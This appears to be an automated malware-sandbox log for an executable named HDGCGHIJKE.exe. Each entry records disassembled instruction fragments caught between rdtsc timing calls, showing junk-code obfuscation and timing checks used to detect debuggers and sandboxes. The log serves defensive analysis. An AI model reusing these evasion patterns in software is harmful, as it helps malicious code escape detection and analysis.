Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 71404C second address: 714060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8EA8EA37DAh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 714060 second address: 714064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7140F2 second address: 7140FC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8EA8EA37DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7140FC second address: 7141C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F8EA84FC136h 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D2613h], edx 0x00000013 push 00000000h 0x00000015 mov dword ptr [ebp+122D3702h], ebx 0x0000001b push 4604F7C1h 0x00000020 jmp 00007F8EA84FC12Ah 0x00000025 xor dword ptr [esp], 4604F741h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007F8EA84FC128h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 0000001Bh 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 je 00007F8EA84FC12Ch 0x0000004c and edi, dword ptr [ebp+122D394Dh] 0x00000052 push 00000003h 0x00000054 stc 0x00000055 push 00000000h 0x00000057 push 00000000h 0x00000059 push eax 0x0000005a call 00007F8EA84FC128h 0x0000005f pop eax 0x00000060 mov dword ptr [esp+04h], eax 0x00000064 add dword ptr [esp+04h], 00000015h 0x0000006c inc eax 0x0000006d push eax 0x0000006e ret 0x0000006f pop eax 0x00000070 ret 0x00000071 xor dword ptr [ebp+122D2629h], edx 0x00000077 mov dword ptr [ebp+122D2584h], edi 0x0000007d push 00000003h 0x0000007f mov si, 8368h 0x00000083 call 00007F8EA84FC129h 0x00000088 push eax 0x00000089 push edx 0x0000008a jmp 00007F8EA84FC136h 0x0000008f rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7141C2 second address: 7141D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F8EA8EA37D6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7141D5 second address: 7141F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jbe 00007F8EA84FC126h 0x0000001c popad 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7141F5 second address: 714201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 735041 second address: 73504B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8EA84FC126h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 73504B second address: 735051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 735051 second address: 735056 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 735056 second address: 735068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jg 00007F8EA8EA37D6h 0x0000000c popad 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 735068 second address: 73506E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 6FC91E second address: 6FC922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 6FC922 second address: 6FC92D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 6FC92D second address: 6FC932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 732FFE second address: 733019 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC134h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 733019 second address: 733033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e jbe 00007F8EA8EA37DCh 0x00000014 jg 00007F8EA8EA37D6h 0x0000001a rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 73359C second address: 7335A3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7339B1 second address: 7339B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7339B6 second address: 7339BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 733B6A second address: 733B78 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8EA8EA37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 733B78 second address: 733B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 733B7C second address: 733B80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 733B80 second address: 733B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F8EA84FC126h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 733CF1 second address: 733D08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F8EA8EA37E0h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 734835 second address: 73485B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8EA84FC132h 0x00000009 jmp 00007F8EA84FC130h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 73B30F second address: 73B325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8EA8EA37D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F8EA8EA37DCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 73B325 second address: 73B329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 73CBA6 second address: 73CBB7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8EA8EA37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 740E81 second address: 740E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 740E85 second address: 740EAE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8EA8EA37D6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F8EA8EA37E7h 0x00000011 push esi 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74143F second address: 74144F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74144F second address: 741459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 743829 second address: 74384A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC137h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74384A second address: 74384E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 743AB1 second address: 743AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F8EA84FC128h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 743E5C second address: 743E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 743E62 second address: 743E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74431D second address: 744327 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F8EA8EA37D6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7446B8 second address: 7446D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F8EA84FC128h 0x0000000b popad 0x0000000c push eax 0x0000000d jc 00007F8EA84FC134h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7446D1 second address: 7446D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74479A second address: 7447A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 747431 second address: 747435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 747435 second address: 74749B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F8EA84FC12Ch 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 mov dword ptr [ebp+122D29D6h], ecx 0x00000016 jns 00007F8EA84FC127h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F8EA84FC128h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 mov edi, dword ptr [ebp+122D3851h] 0x0000003e or dword ptr [ebp+1245667Dh], ebx 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F8EA84FC130h 0x0000004c rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 749487 second address: 74948B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74948B second address: 749491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 749F92 second address: 749F96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74E641 second address: 74E658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F8EA84FC12Ch 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74F5C1 second address: 74F5DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8EA8EA37E9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74F671 second address: 74F677 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74F677 second address: 74F67C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7505A7 second address: 750649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jnl 00007F8EA84FC138h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F8EA84FC128h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push esi 0x0000002c call 00007F8EA84FC128h 0x00000031 pop esi 0x00000032 mov dword ptr [esp+04h], esi 0x00000036 add dword ptr [esp+04h], 00000018h 0x0000003e inc esi 0x0000003f push esi 0x00000040 ret 0x00000041 pop esi 0x00000042 ret 0x00000043 jnp 00007F8EA84FC142h 0x00000049 call 00007F8EA84FC135h 0x0000004e mov dword ptr [ebp+122D263Fh], eax 0x00000054 pop edi 0x00000055 jnl 00007F8EA84FC131h 0x0000005b push 00000000h 0x0000005d cmc 0x0000005e sub edi, 2C19B0D4h 0x00000064 xchg eax, esi 0x00000065 pushad 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 750649 second address: 75064D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75064D second address: 75065B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8EA84FC126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75065B second address: 75065F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75065F second address: 75067A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a jmp 00007F8EA84FC12Dh 0x0000000f pop ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7514F7 second address: 75151A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F8EA8EA37E6h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75266B second address: 752720 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC12Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jne 00007F8EA84FC12Ch 0x00000012 jng 00007F8EA84FC130h 0x00000018 jmp 00007F8EA84FC12Ah 0x0000001d popad 0x0000001e nop 0x0000001f call 00007F8EA84FC131h 0x00000024 je 00007F8EA84FC12Ch 0x0000002a or dword ptr [ebp+122D2951h], edi 0x00000030 pop ebx 0x00000031 xor dword ptr [ebp+122D26C1h], edx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007F8EA84FC128h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 00000017h 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 push 00000000h 0x00000055 push 00000000h 0x00000057 push ebp 0x00000058 call 00007F8EA84FC128h 0x0000005d pop ebp 0x0000005e mov dword ptr [esp+04h], ebp 0x00000062 add dword ptr [esp+04h], 00000018h 0x0000006a inc ebp 0x0000006b push ebp 0x0000006c ret 0x0000006d pop ebp 0x0000006e ret 0x0000006f jmp 00007F8EA84FC12Ah 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 pushad 0x00000078 jne 00007F8EA84FC126h 0x0000007e je 00007F8EA84FC126h 0x00000084 popad 0x00000085 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75476E second address: 754772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 754772 second address: 75477B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75477B second address: 7547AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 add edi, 7275EA61h 0x0000000f mov di, si 0x00000012 push 00000000h 0x00000014 movsx ebx, cx 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+122D1EFAh], eax 0x0000001f mov ebx, dword ptr [ebp+122D2125h] 0x00000025 xchg eax, esi 0x00000026 push eax 0x00000027 push edx 0x00000028 jng 00007F8EA8EA37DCh 0x0000002e rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7566B7 second address: 75671A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8EA84FC126h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e call 00007F8EA84FC131h 0x00000013 call 00007F8EA84FC12Ah 0x00000018 mov dword ptr [ebp+122D2380h], edi 0x0000001e pop edi 0x0000001f pop ebx 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 call 00007F8EA84FC128h 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], edi 0x0000002f add dword ptr [esp+04h], 00000015h 0x00000037 inc edi 0x00000038 push edi 0x00000039 ret 0x0000003a pop edi 0x0000003b ret 0x0000003c mov di, 2C05h 0x00000040 push 00000000h 0x00000042 mov ebx, eax 0x00000044 xchg eax, esi 0x00000045 jbe 00007F8EA84FC134h 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75671A second address: 75671E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 759797 second address: 75979B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75979B second address: 75979F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75A637 second address: 75A642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74A7CF second address: 74A7D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74A7D3 second address: 74A7D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74A7D9 second address: 74A7DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74C8D6 second address: 74C8DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74C8DA second address: 74C8E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F8EA8EA37D6h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74C8E8 second address: 74C8EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74D9E2 second address: 74D9F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8EA8EA37D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74D9F1 second address: 74D9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74E7B5 second address: 74E7B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 752834 second address: 752838 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 752838 second address: 75283E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75292B second address: 75292F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7538F2 second address: 75391B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8EA8EA37E8h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
